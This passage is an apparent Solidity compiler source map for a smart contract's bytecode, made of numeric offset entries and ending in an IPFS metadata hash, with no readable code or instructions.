49;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5652:251::-;5722:6;5775:2;5763:9;5754:7;5750:23;5746:32;5743:52;;;5791:1;5788;5781:12;5743:52;5823:9;5817:16;5842:31;5867:5;5842:31;:::i;6829:306::-;6917:6;6925;6933;6986:2;6974:9;6965:7;6961:23;6957:32;6954:52;;;7002:1;6999;6992:12;6954:52;7031:9;7025:16;7015:26;;7081:2;7070:9;7066:18;7060:25;7050:35;;7125:2;7114:9;7110:18;7104:25;7094:35;;6829:306;;;;;:::o;7419:277::-;7486:6;7539:2;7527:9;7518:7;7514:23;7510:32;7507:52;;;7555:1;7552;7545:12;7507:52;7587:9;7581:16;7640:5;7633:13;7626:21;7619:5;7616:32;7606:60;;7662:1;7659;7652:12;10434:125;10499:9;;;10520:10;;;10517:36;;;10533:18;;:::i;10919:135::-;10958:3;10979:17;;;10976:43;;10999:18;;:::i;:::-;-1:-1:-1;11046:1:1;11035:13;;10919:135::o;11059:128::-;11126:9;;;11147:11;;;11144:37;;;11161:18;;:::i;11324:127::-;11385:10;11380:3;11376:20;11373:1;11366:31;11416:4;11413:1;11406:15;11440:4;11437:1;11430:15;11456:980;11718:4;11766:3;11755:9;11751:19;11797:6;11786:9;11779:25;11823:2;11861:6;11856:2;11845:9;11841:18;11834:34;11904:3;11899:2;11888:9;11884:18;11877:31;11928:6;11963;11957:13;11994:6;11986;11979:22;12032:3;12021:9;12017:19;12010:26;;12071:2;12063:6;12059:15;12045:29;;12092:1;12102:195;12116:6;12113:1;12110:13;12102:195;;;12181:13;;-1:-1:-1;;;;;12177:39:1;12165:52;;12272:15;;;;12237:12;;;;12213:1;12131:9;12102:195;;;-1:-1:-1;;;;;;;12353:32:1;;;;12348:2;12333:18;;12326:60;-1:-1:-1;;;12417:3:1;12402:19;12395:35;12314:3;11456:980;-1:-1:-1;;;11456:980:1:o;12797:217::-;12837:1;12863;12853:132;;12907:10;12902:3;12898:20;12895:1;12888:31;12942:4;12939:1;12932:15;12970:4;12967:1;12960:15;12853:132;-1:-1:-1;12999:9:1;;12797:217::o

ipfs://78007729c494b86375b8e594e48b3fb165a55a56755f9edb21a83b5b2699b06a